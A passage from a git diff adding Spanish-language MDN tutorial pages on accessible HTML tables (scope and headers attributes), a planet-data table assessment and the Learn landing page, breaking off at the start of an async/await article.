+<h3 class="attTitle" id="Usar_encabezados_de_columna_y_fila">Usar encabezados de columna y fila</h3>
+
+<p>Los lectores de pantalla identificarán todos los encabezados y los usarán para hacer asociaciones programáticas entre esos encabezados y las celdas con las que se relacionan. La combinación de encabezados por columna y fila identificará e interpretará los datos de cada celda para que los usuarios que usan lectores de pantalla puedan interpretar la tabla de manera similar a como lo hace un usuario sin discapacidad visual.</p>
+
+<p>Ya expusimos los encabezados en nuestro artículo anterior; consulta <a href="/es/docs/Learn/HTML/Tablas/Conceptos_b%C3%A1sicos_de_las_tablas_HTML#A%C3%B1adir_encabezados_con_elementos_%3Cth%3E">Añadir encabezados con elementos &lt;th&gt;</a>.</p>
+
+<h3 class="attTitle" id="El_atributo_scope">El atributo scope</h3>
+
+<p>Un nuevo tema para este artículo es el atributo {{htmlattrxref ("scope", "th")}}, que se puede añadir al elemento <code>&lt;th&gt;</code> para indicar a los lectores de pantalla exactamente para qué celdas es el encabezado. Volviendo a nuestro ejemplo anterior de registro de gastos, podrías definir los encabezados de columna inequívocamente como encabezados de columna de este modo:</p>
+
+<pre class="brush: html notranslate">&lt;thead&gt;
+  &lt;tr&gt;
+    &lt;th scope="col"&gt;Compra&lt;/th&gt;
+    &lt;th scope="col"&gt;Ubicación&lt;/th&gt;
+    &lt;th scope="col"&gt;Fecha&lt;/th&gt;
+    &lt;th scope="col"&gt;Revisión&lt;/th&gt;
+    &lt;th scope="col"&gt;Coste (€)&lt;/th&gt;
+  &lt;/tr&gt;
+&lt;/thead&gt;</pre>
+
+<p>Y también cada fila podría tener un encabezado definido de esta manera (si añadimos encabezados de fila y encabezados de columna):</p>
+
+<pre class="brush: html notranslate">&lt;tr&gt;
+  &lt;th scope="row"&gt;Corte de pelo&lt;/th&gt;
+
+&lt;td&gt;Peluquería&lt;/td&gt;
+  &lt;td&gt;12/09&lt;/td&gt;
+
+&lt;td&gt;Gran idea&lt;/td&gt;
+  &lt;td&gt;30&lt;/td&gt;
+&lt;/tr&gt;</pre>
+
+<p>Los lectores de pantalla reconocerán el marcado estructurado de esta manera y permitirán a tus usuarios, por ejemplo, leer toda la columna o fila a la vez.</p>
+
+<p>El atributo <code>scope</code> tiene dos valores posibles más: <code>colgroup</code> y <code>rowgroup</code>. Se utilizan para encabezados que se encuentran sobre la parte superior de varias columnas o filas. Si vuelves a echar un vistazo a la tabla «Artículos vendidos en agosto de 2016» al comienzo de esta sección, verás que la celda «Ropa» se encuentra encima de las celdas «Pantalones», «Faldas» y «Vestidos» Todas estas celdas deben estar marcadas como encabezados (<code>&lt;th&gt;</code>), pero «Ropa» es un encabezado que está por encima y define los otros tres subencabezados. Por lo tanto, «Ropa» debería incluir un atributo <code>scope="colgroup"</code>, mientras que los demás tendrían un atributo <code>scope="col"</code>.</p>
+
+<h3 class="attTitle" id="Los_atributos_de_id_y_encabezados">Los atributos de id y encabezados</h3>
+
+<p>Una alternativa al uso del atributo <code>scope</code> es usar los atributos {{htmlattrxref ("id")}} y {{htmlattrxref ("headers", "td")}} para crear asociaciones entre encabezados y celdas. La forma en que se usan es la siguiente:</p>
+
+<ol>
+ <li>Añades un <code>id</code> único a cada elemento <code>&lt;th&gt;</code>.</li>
+ <li>Añades un atributo <code>headers</code> a cada elemento <code>&lt;td&gt;</code>. Cada atributo <code>headers</code> debe contener una lista de los <code>id</code> de todos los elementos <code>&lt;th&gt;</code> que actúan como encabezado de esa celda, separados por espacios.</li>
+</ol>
+
+<p>Esto le da a tu tabla HTML una definición explícita de la posición de cada celda en la tabla definida por los encabezados de cada columna y fila de la que forma parte, como en una hoja de cálculo. Para que funcione bien, la tabla necesita tanto encabezados de columna como encabezados de fila.</p>
+
+<p>Volviendo a nuestro ejemplo de gastos, los dos fragmentos anteriores podrían reescribirse así:</p>
+
+<pre class="brush: html notranslate">&lt;thead&gt;
+  &lt;tr&gt;
+    &lt;th id="purchase"&gt;Compra&lt;/th&gt;
+    &lt;th id="location"&gt;Ubicación&lt;/th&gt;
+    &lt;th id="date"&gt;Fecha&lt;/th&gt;
+    &lt;th id="evaluation"&gt;Revisión&lt;/th&gt;
+    &lt;th id="cost"&gt;Coste (€)&lt;/th&gt;
+  &lt;/tr&gt;
+&lt;/thead&gt;
+&lt;tbody&gt;
+&lt;tr&gt;
+  &lt;th id="haircut"&gt;Corte de pelo&lt;/th&gt;
+  &lt;td headers="location haircut"&gt;Peluquería&lt;/td&gt;
+  &lt;td headers="date haircut"&gt;12/09&lt;/td&gt;
+  &lt;td headers="evaluation haircut"&gt;Gran idea&lt;/td&gt;
+  &lt;td headers="cost haircut"&gt;30&lt;/td&gt;
+&lt;/tr&gt;
+
+  ...
+
+&lt;/tbody&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Este método crea asociaciones muy precisas entre los encabezados y las celdas de datos, pero utiliza <strong>un montón</strong> más de código de marcado y no permite errores. El enfoque <code>scope</code> suele bastar para la mayoría de las tablas.</p>
+</div>
+
+<h3 id="Aprendizaje_activo_jugar_con_scope_y_headers">Aprendizaje activo: jugar con scope y headers</h3>
+
+<ol>
+ <li>Para este ejercicio final, te proponemos que primero hagas copias locales de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold.html">items-sold.html</a> y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/minimal-table.css">minimal-table.css</a> en un directorio nuevo.</li>
+ <li>Ahora intenta añadir los atributos <code>scope</code> adecuados para hacer que esta tabla sea más accesible.</li>
+ <li>Por último, haz otra copia de los archivos originales, y esta vez añade accesibilidad a la tabla utilizando los atributos <code>id</code> y <code>headers</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes verificar tu trabajo con nuestros ejemplos terminados: consulta <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-scope.html">items-sold-scope.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-scope.html">consúltalo en vivo</a>) y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/advanced/items-sold-headers.html">items-sold-headers.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/advanced/items-sold-headers.html">consúltalo en vivo</a>).</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Podrías aprender algo más sobre las tablas en HTML, pero en realidad te hemos proporcionado toda la información que necesitas saber en este momento. En este punto, es posible que desees ir y aprender sobre la aplicación de estilo a tablas HTML: consulta <a href="/es/docs/Learn/CSS/Building_blocks/Styling_tables">Aplicar estilo a las tablas</a>.</p>
+
+<div>{{PreviousMenuNext("Learn/HTML/Tables/Basics", "Learn/HTML/Tables/Structuring_planet_data", "Learn/HTML/Tables")}}</div>
+
+<div>
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Basics">Conceptos básicos de las tablas en HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Advanced">Funciones avanzadas de las tablas HTML y accesibilidad</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Tables/Structuring_planet_data">Estructuración de datos planetarios </a></li>
+</ul>
+</div>
diff --git a/files/es/learn/html/tablas/index.html b/files/es/learn/html/tablas/index.html
new file mode 100644
index 0000000000..7d04eb0cbf
--- /dev/null
+++ b/files/es/learn/html/tablas/index.html
@@ -0,0 +1,34 @@
+---
+title: Tablas HTML
+slug: Learn/HTML/Tablas
+translation_of: Learn/HTML/Tables
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Una tarea muy común en HTML es la estructuración de datos, y para esto hay múltiples elementos y atributos. Esto unido a un poco de CSS, hace que en HTML sea sencillo mostrar tablas con información sobre tu horario escolar, los horarios de una piscina local o las estadisticas de tu equipo de dinosaurios o fútbol preferido. Este módulo te guiará en todo lo que necesitas saber sobre la estructuración tabular de datos en HTML.</p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Antes de comenzar este módulo, deberías de saber las cosas básicas de HTML — ver <a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML">Introducción a HTML</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estas trabjando en un ordenador/tableta/otro dispositivo en el que no puedes crear tus propios archivos, puedes probar la mayoría de ejemplos online en webs como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Este módulo contiene los siguientes artículos:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Basics">Comenzando con tablas HTML</a></dt>
+ <dd>Este artículo te introduce en las tablas HTML , cubriendo las cosas más basicas como las líneas y las celdas, encabezados, crear celdas de multiples líneas y columnas, y como agrupar todas las celdas en una columna con fines estilisticos.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Advanced">Características avanzadas y accesibilidad en tablas HTML</a></dt>
+ <dd>En el segundo artículo de este módulo, veremos algunas características avanzadas de las tablas HTML — como subtítulos/resumenes y agrupar líneas en la cabeza, cuerpo y pie de la tabla — además de realizar tablas accesibles para aquellos usuarios con problemas de visión.</dd>
+</dl>
+
+<h2 id="Evaluación">Evaluación</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Tables/Structuring_planet_data">Estructurar datos planetarios</a></dt>
+ <dd>En nuestra evaluación, te proporcionamos datos sobre los planetas de nuestro sistemas solar y tu los estructurarás en una tabla HTML.</dd>
+</dl>
diff --git a/files/es/learn/html/tablas/structuring_planet_data/index.html b/files/es/learn/html/tablas/structuring_planet_data/index.html
new file mode 100644
index 0000000000..e9868bb95a
--- /dev/null
+++ b/files/es/learn/html/tablas/structuring_planet_data/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Evaluación: Estructurando datos planetarios'
+slug: Learn/HTML/Tablas/Structuring_planet_data
+translation_of: Learn/HTML/Tables/Structuring_planet_data
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div>
+
+<p class="summary">En nuestra evaluación te proporcionamos datos sobre los planetas de nuestro sistema solar y tu los estructurarás en una tabla HTML.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Antes de comenzar esta evaluación deberías de haber leído los artículos de este módulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprobar si has comprendido las tablas HTML y las características asociadas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_incio">Punto de incio</h2>
+
+<p>Para comenzar esta evaluación, crea una copia local de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/blank-template.html">blank-template.html</a>, <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/minimal-table.css">minimal-table.css</a>, y <a href="https://github.com/mdn/learning-area/blob/master/html/tables/assessment-start/planets-data.txt">planets-data.txt</a> en una nueva carpeta de tu ordenador.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Como alternativa, puedes usar una web como <a class="external external-icon" href="https://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para realizar tu evaluación. Puedes pegar el HTML, CSS y JavaScript en uno de estos editores online. Si el editor online que estas usando no tiene paneles separados para JavaScript/CSS, sientete libre de ponerlos en línea dentro del mismo HTML mediante el uso de <code>&lt;script&gt;</code>/<code>&lt;style&gt;</code>.</p>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Estás trabajando en la escuela; tus estudiantes están estudiando los planetas de nuestro sistema solar y quieres proporcionarles una forma sencilla de seguir los datos para buscar hechos sobre los planetas. Una tabla HTML sería ideal — tienes que coger los datos que tienes disponibles y convertirlos en una tabla siguiendo los pasos de abajo.</p>
+
+<p>La tabla finalizada debería de verse así:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14609/assessment-table.png" style="display: block; margin: 0 auto;"></p>
+
+<p>También puedes ver el ejemplo <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">aquí</a> (no mires el código fuente — ¡no hagas trampas!)</p>
+
+<ul>
+</ul>
+
+<h2 id="Pasos_para_completarlo">Pasos para completarlo</h2>
+
+<p>Los siguientes pasos describen lo que necesitas para completar el ejemplo de la tabla. Todos los datos que necesitarás están en el archivo <code>planets-data.txt</code>.<font face="consolas, Liberation Mono, courier, monospace"> </font>Si tienes problemas para visualizar los datos, mira el ejemplo de arriba o intentalo dibujando un diagrama.</p>
+
+<ol>
+ <li>Abre tu copia de <code>blank-template.html</code>, y comienza la tabla dándole un contenedor exterior, una cabecera y un cuerpo. No necesitas un pie de tabla en este ejemplo.</li>
+ <li>Añade el subtítulo proporcionado a tu tabla.</li>
+ <li>Añade una línea a la cabecera que contenga todos los encabezados de columna.</li>
+ <li>Crea todas las líneas con su contenido, asegurandote marcar como cabecera aquellas celdas que lo sean.</li>
+ <li>Asegurate de que el contenido esta insertado en las celdas correctas — en los datos del .txt, cada línea del planeta esta al lado de su planeta asociado.</li>
+ <li>Añade atributos para que las líneas y columnas del encabezado no se puedan confundir con las líneas, columnas o grupos de líneas a las que encabezan.</li>
+ <li>Añade un borde negro alrededor de la columna que contiene los nombres de los planetas y sus encabezados.</li>
+</ol>
+
+<h2 id="Pistas_y_consejos">Pistas y consejos</h2>
+
+<ul>
+ <li>La primera celda de la línea de enbezado tiene que estar en blanco y unir dos columnas.</li>
+ <li>Los encabezados de la filas agrupadas (p. ej. <em>Jovian planets</em>) que están a la izquierda de los encabezados de nombres de planetas (p. ej. <em>Saturn</em>) son algo complicados de resolver — asegurate de que cada uno agrupa el número correcto de líneas y columnas</li>
+ <li>Una manera de asociar encabezados con sus líneas/columnas es mucha más fácil que la otra.</li>
+</ul>
+
+<h2 id="Evaluación">Evaluación</h2>
+
+<p>Si estas siguiendo esta evaluación como parte de un curso organizado, deberías de ser capaz de entregar tu trabajo a tu profesor(a)/mentor para ver la puntuación. Si estas aprendiendo por tu cuenta, puedes obtener la guía de puntuación preguntando en <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a> o en el canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a> en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Intenta hacer el ejercicio primero  — ¡haciendo trampas no aprenderás nada!</p>
+
+<p>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p>
diff --git a/files/es/learn/index.html b/files/es/learn/index.html
new file mode 100644
index 0000000000..a032b43e2d
--- /dev/null
+++ b/files/es/learn/index.html
@@ -0,0 +1,135 @@
+---
+title: Aprende sobre desarrollo web
+slug: Learn
+tags:
+  - Ayuda
+  - CSS
+  - HTML
+  - Inicio
+  - Landing
+  - Principiante
+  - TopicStub
+  - Web
+translation_of: Learn
+---
+<p>{{LearnSidebar}}</p>
+
+<p class="summary">¡Hola! Bienvenido al área de aprendizaje de MDN. Si quieres aprender a crear tus propias páginas web, sitios o aplicaciones, has venido al lugar indicado.</p>
+
+<p>El objetivo de esta área de MDN no es llevarte de «principiante» a «experto», sino de «principiante» a «cómodo». A partir de ese punto, deberías poder comenzar a abrirte camino, aprendiendo del {{web.link("/es/", "resto de MDN")}} y de otras fuentes de niveles intermedio hasta avanzado, las cuales asumen que tienes un vasto conocimiento previamente adquirido.</p>
+
+<p>Si eres del todo un principiante, el desarrollo web puede ser un reto —pero no te preocupes, te llevaremos de la mano y te proveeremos de suficientes detalles para hacerte sentir cómodo y que aprendas los temas apropiadamente—. Para que te sientas como en casa, ya seas un estudiante (por tu cuenta o como parte de un grupo), un maestro buscando material para sus clases, un aficionado o alguien que simplemente desea entender mejor cómo funcionan las tecnologías web.</p>
+
+<h2 id="Novedades">Novedades</h2>
+
+<p>El contenido del área de aprendizaje se amplía con regularidad. Se han comenzado a guardar {{web.link("/es/docs/Learn/Release_notes", "notas de publicación del área de aprendizaje")}} para mostrar lo que ha cambiado. ¡Revísalas frecuentemente para mantenerte actualizado!</p>
+
+<p>Si tienes preguntas sobre temas que te gustaría que se abordaran o te parece que faltan, envía un mensaje en el <a href="https://discourse.mozilla.org/c/mdn">Foro de discusión</a>, de la comunidad Mozilla (sitio en inglés).</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_convertirte_en_un_desarrollador_de_interfaz_de_usuario_web">¿Quieres convertirte en un desarrollador de interfaz de usuario web?</h3>
+
+<p>Hemos elaborado un curso que incluye toda la información esencial que necesitas para alcanzar tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+</div>
+
+<h2 id="Dónde_empezar">Dónde empezar</h2>
+
+<p>Para continuar, piensa cuál de las siguientes afirmaciones te describe mejor y ve a la página de inicio enlazada:</p>
+
+<ul class="card-grid">
+ <li><span>Soy un principiante</span>: ¡Bienvenido! Si eres un completo novel en desarrollo web, definitivamente el mejor lugar para empezar es el módulo {{web.link("/es/docs/Learn/Getting_started_with_the_web", "Primeros pasos en la web")}}. Una introducción práctica que te dará las bases necesarias para iniciar y avanzar en el desarrollo web.</li>
+ <li><span>Conozco la web</span>: ¡Muy bien! Si ya tienes un poco de conocimiento en ese caso te sugerimos profundizar en el corazón de las tecnologías web. El siguiente paso es conocer en detalle {{Glossary("HTML")}} y {{Glossary("CSS")}}: empieza con el módulo de introducción a {{web.link("/es/docs/Learn/HTML", "Introducción a HTML")}} y sigue con el módulo de {{web.link("/es/docs/Learn/CSS","primeros pasos en CSS")}}.</li>
+ <li><span>Me interesa javascript</span>: Si ya te sientes cómodo con el HTML y el CSS, o principalmente estás interesado en la codificación, querrás pasar al desarrollo de {{Glossary("JavaScript")}} o al desarrollo de lado del servidor. Comienza con los módulos de {{web.link("/es/docs/Learn/JavaScript/First_steps", "primeros pasos con JavaScript")}} y {{web.link("/es/docs/Learn/Server-side/Primeros_pasos", "primeros pasos en la programación de lado del servidor")}}.</li>
+ <li><span>Soy experto en la web</span>: ¡Excelente! Después de dominar los fundamentos del HTML, CSS y JavaScript puedes estar interesado en explorar las {{web.link("/es/docs/Web/Guide", "Guías avanzadas")}} y {{web.link("/es/docs/Web/Tutoriales", "Tutoriales")}}. Otra excelente idea es aprender sobre las {{web.link("/es/docs/Learn/Tools_and_testing/Understanding_client-side_tools", "herramientas de desarrollo web de lado del cliente")}} y luego considerar ahondar en los {{web.link("/es/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks", "marcos de desarrollo («frameworks») de JavaScript de lado del cliente")}}, y la {{web.link("/es/docs/Learn/Server-side", "Programación de sitios web de lado del servidor")}}. Finalmente deberías considerar {{web.link("/es/docs/Learn/como_Contribuir", "Contribuir al Área de Aprendizaje")}}.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: el {{web.link("/es/docs/Glossary", "glosario")}} proporciona definición de términos. Además, si tienes una pregunta específica sobre el desarrollo web, la sección de {{web.link("/es/docs/Learn/Common_questions", "preguntas frecuentes")}} te puede brindar información de gran utilidad.</p>
+</div>
+
+<p>{{LearnBox({"title":"Entrada aleatoria del glosario"})}}</p>
+
+<h2 id="Temas_tratados">Temas tratados</h2>
+
+<p>La siguiente es una lista de todos los temas tratados en el área de aprendizaje de MDN.</p>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/Getting_started_with_the_web", "Primeros pasos en la web")}}</dt>
+ <dd>Proporciona una introducción práctica al desarrollo de la web para principiantes.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML", "HTML")}}</dt>
+ <dd>HTML es el lenguaje utilizado para estructurar las diferentes partes del contenido y definir su significado o propósito. Este tema enseña el HTML en detalle.</dd>
+ <dt>{{web.link("/es/docs/Learn/CSS", "CSS")}}</dt>
+ <dd>CSS es el lenguaje que se utiliza para estilizar y organizar el contenido web, así como para añadir comportamiento tal como la animación. Este tema proporciona una amplia cobertura de CSS.</dd>
+ <dt>{{web.link("/es/docs/Learn/JavaScript", "JavaScript — Scripts dinámicos de lado del cliente")}}</dt>
+ <dd>JavaScript es el lenguaje de scripts usado para añadir funcionalidad dinámica a las páginas web. Este tema enseña todo lo esencial necesario para sentirte cómodo con la escritura y comprensión de JavaScript.</dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Forms", "Formularios HTML")}}</dt>
+ <dd>Los formularios HTML son un potente instrumento para interactuar con los usuarios — frecuentemente se utilizan para reunir datos de los usuarios, o permitirte controlar la interfaz de usuario. En los artículos enumerados a continuación, se cubrirán todos los aspectos esenciales de la estructuración, estilizado e interacción con los formularios web.</dd>
+ <dt>{{web.link("/es/docs/Learn/Accessibility", "Accesibilidad")}}</dt>
+ <dd>La accesibilidad es la práctica de hacer que el contenido web esté disponible para tantas personas como sea posible, independientemente de la discapacidad, el dispositivo, la ubicación u otros factores diferenciadores. Este tema te da todo lo que necesitas saber.</dd>
+ <dt>{{web.link("/es/docs/Learn/Performance", "Rendimiento web — hace que los sitios web sean rápidos y responsivos")}}</dt>
+ <dd>El rendimiento web es el arte de asegurarte de que las aplicaciones web se descarguen rápidamente y respondan a la interacción del usuario, independientemente del ancho de banda, el tamaño de la pantalla, la red o las capacidades del dispositivo del usuario.</dd>
+ <dt>{{web.link("/es/docs/Learn/Herramientas_y_pruebas", "Herramientas y pruebas")}}</dt>
+ <dd>Este tema abarca las herramientas que los desarrolladores utilizan para facilitar su trabajo, como las herramientas de prueba entre navegadores, analizadores de errores de código fuente, formateadores, herramientas de transformación, sistemas de control de versiones, herramientas de despliegue y marcos de desarrollo JavaScript de lado del cliente.</dd>
+ <dt>{{web.link("/es/docs/Learn/Server-side", "Programación del lado servidor")}}</dt>
+ <dd>Aunque te concentres en el desarrollo web de lado del cliente, sigue siendo útil saber cómo funcionan los servidores y las características del código del lado del servidor. Este tema proporciona una introducción general a cómo funciona el lado del servidor y tutoriales detallados que muestran cómo construir una aplicación de lado del servidor utilizando dos marcos de desarrollo populares: Django (Python) y Express (Node.js).</dd>
+</dl>
+
+<h2 id="Obtener_el_código_de_los_ejemplos">Obtener el código de los ejemplos</h2>
+
+<p>Todo el código de los ejemplos propuestos en el área de aprendizaje se encuentra disponible en <a href="https://github.com/mdn/learning-area//">GitHub</a>. Si quieres, los puedes copiar para tenerlos en tu ordenador, la manera más fácil es <a href="https://github.com/mdn/learning-area/archive/master.zip">descargar un ZIP de la última rama del código maestro</a>.</p>
+
+<p>Si prefieres copiar el código de una forma más flexible que te permita actualizaciones automáticas, puedes seguir estas instrucciones más complejas:</p>
+
+<ol>
+ <li><a href="https://git-scm.com/downloads">Instala Git</a> en tu máquina. Este es el sistema de control de versiones de software con el que trabaja GitHub principalmente.</li>
+ <li>Abre tu <a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">consola de comandos</a> (Windows) o terminal (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">MacOS X</a>)</li>
+ <li>Para copiar el repositorio del área de aprendizaje a un directorio llamado <code>learning-area</code> en la ubicación actual, en la ventana de tu Terminal o en la línea de comandos, debes usar el siguiente comando.
+  <pre class="brush: bash notranslate">git clone https://github.com/mdn/learning-area</pre>
+ </li>
+ <li>Ahora puedes entrar en el directorio y encontrar todos los archivos que descargaste (posiblemente con el explorador de archivos o el <a href="https://es.wikipedia.org/wiki/Chdir">comando <code>cd</code></a>).</li>
+</ol>
+
+<p>Puedes actualizar el repositorio <code>learning-area</code> con los últimos cambios que se hayan hecho a la versión principal en GitHub con los siguientes pasos:</p>
+
+<ol>
+ <li>En tu intérprete de comandos/terminal, ve dentro del directorio <code>learning-area</code> usando <code>cd</code>. Por ejemplo, si estuvieras en el directorio padre:
+
+  <pre class="brush: bash notranslate">cd learning-area</pre>
+ </li>
+ <li>Puedes realizar actualizaciones al repositorio usando el siguiente comando:
+  <pre class="brush: bash notranslate">git pull</pre>
+ </li>
+</ol>
+
+<h2 id="Contáctanos">Contáctanos</h2>
+
+<p>Si tienes alguna pregunta o deseas saber hacia dónde ir, Mozilla es una comunidad mundial de entusiastas de la web, incluyendo mentores y profesores, encantados de ayudarte. Ponte en contacto con ellos mediante WebMaker: Conoce y dialoga con los mentores y profesores en el <a href="https://discourse.mozilla.org/c/community-portal/mozilla-hispano/">Foro de Discusión en Español</a>. Encuentra <a href="https://foro.mozilla-hispano.org/c/difusion-eventos">Eventos</a> y aprende acerca de la Web con profesionales. Nos gustaría saber cualquier cosa de ti, si bien crees que algo está mal o falta en el sitio, o quieres solicitar nuevos temas de aprendizaje, solicitar ayuda con elementos que no comprendes o cualquier otra pregunta o inquietud que tengas.</p>
+
+<p>Si estás interesado en ayudar a desarrollar/mejorar el contenido, consulta {{web.link("/es/docs/Learn/Como_Contribuir", "cómo puedes ayudar")}} y, ¡pónte en contacto!; estaremos más que felices de hablar contigo, bien seas un alumno, un maestro, un desarrollador web experimentado o alguien más, interesado en ayudar a mejorar la experiencia de aprendizaje.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt><a href="https://www.mozilla.org/es/newsletter/developer/">Boletín informativo para desarrolladores de Mozilla</a></dt>
+ <dd>Nuestro boletín para desarrolladores web, es un excelente recurso para todos los niveles de experiencia.</dd>
+ <dt><a href="https://learnjavascript.online/">Aprende JavaScript</a></dt>
+ <dd>Un excelente recurso para los aspirantes a desarrolladores web — aprende JavaScript en un entorno interactivo, con lecciones breves y pruebas interactivas, guiado por una evaluación automatizada. Las primeras 40 lecciones son gratuitas y el curso completo está disponible por un pequeño pago único.</dd>
+ <dt><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web desmitificada</a></dt>
+ <dd>Una gran serie de videos que explican los fundamentos de la web, dirigida a principiantes absolutos en el desarrollo web. Creada por <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>.</dd>
+ <dt><a href="https://www.codecademy.com/" rel="noopener">Codecademy</a></dt>
+ <dd>Un gran sitio interactivo para aprender lenguajes de programación desde cero.</dd>
+ <dt><a href="https://www.bitdegree.org/learn/">BitDegree</a></dt>
+ <dd>Teoría básica de la codificación con un proceso de aprendizaje ludificado. Enfocado principalmente a principiantes.</dd>
+ <dt><a href="https://code.org/">Code.org</a></dt>
+ <dd>Teoría y práctica de codificación básica, principalmente dirigida a niños/principiantes.</dd>
+ <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a></dt>
+ <dd>Cursos gratuitos y abiertos para aprender habilidades tecnológicas, con tutorías y aprendizaje basado en proyectos.</dd>
+ <dt><a href="https://www.freecodecamp.org/">freeCodeCamp.org</a></dt>
+ <dd>Sitio interactivo con tutoriales y proyectos para aprender desarrollo web.</dd>
+ <dt><a href="https://foundation.mozilla.org/en/initiatives/web-literacy/core-curriculum/">Mapa de alfabetización web</a></dt>
+ <dd>Un marco de desarrollo para la alfabetización web a nivel de entrada y las habilidades del siglo XXI, que también brindan acceso a actividades de enseñanza clasificadas por categoría.</dd>
+ <dt><a href="https://edabit.com/challenges/javascript">Edabit</a></dt>
+ <dd>Miles de desafíos interactivos de JavaScript.</dd>
+</dl>
diff --git a/files/es/learn/javascript/asynchronous/async_await/index.html b/files/es/learn/javascript/asynchronous/async_await/index.html
new file mode 100644
index 0000000000..3487b11664
--- /dev/null
+++ b/files/es/learn/javascript/asynchronous/async_await/index.html
@@ -0,0 +1,411 @@
+---
+title: Haciendo la programación asíncrona más fácil con async y await
+slug: Learn/JavaScript/Asynchronous/Async_await
+translation_of: Learn/JavaScript/Asynchronous/Async_await
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous/Choosing_the_right_approach", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary">Las incorporaciones más recientes al lenguaje JavaScript, son las <a href="/en-US/docs/Web/JavaScript/Reference/Statements/async_function">funciones async</a> y la palabra clave <code>await</code>, parte de la edición ECMAScript 2017 (véase <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next support in Mozilla</a>). Estas características, básicamente, actúan como azúcar sintáctico, haciendo el código asíncrono fácil de escribir y leer más tarde. Hacen que el código asíncrono se parezca más al código síncrono de la vieja escuela, por lo que merece la pena aprenderlo. </p>
+
+<p>Este artículo le da lo que usted necesita saber. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Conocimientos básicos de informática, entender de manera razonable los fundamentos de JavaScript y entender el código asíncrono en general y las promesas. </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender las promesas y cómo usarlas</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Los_fundamentos_de_asyncawait">Los fundamentos de async/await</h2>
+
+<p>Hay dos partes a la hora de usar async/await en su código.</p>
+
+<h3 id="La_palabra_clave_async">La palabra clave async</h3>
+
+<p>Primero tenemos la palabra clave "async", que se coloca delante de la declaración de una función, para convertirla en función "async"(asíncrona). Una función "async", es una función que sabe cómo esperar la posibilidad de que la palabra clave "await" sea utilizada para invocar código asíncrono. </p>
+
+<p>Intenta escribir las siguientes líneas en la consola de tu navegador. </p>
+
+<pre class="brush: js notranslate">function hello() { return "Hello" };
+hello();</pre>
+
+<p>La función returna "Hello" — nada especial, verdad?</p>
+
+<p>Pero, qué pasa si convertimos esto en una función async? Trata lo siguiente:</p>
+
+<pre class="brush: js notranslate">async function hello() { return "Hello" };
+hello();</pre>
+
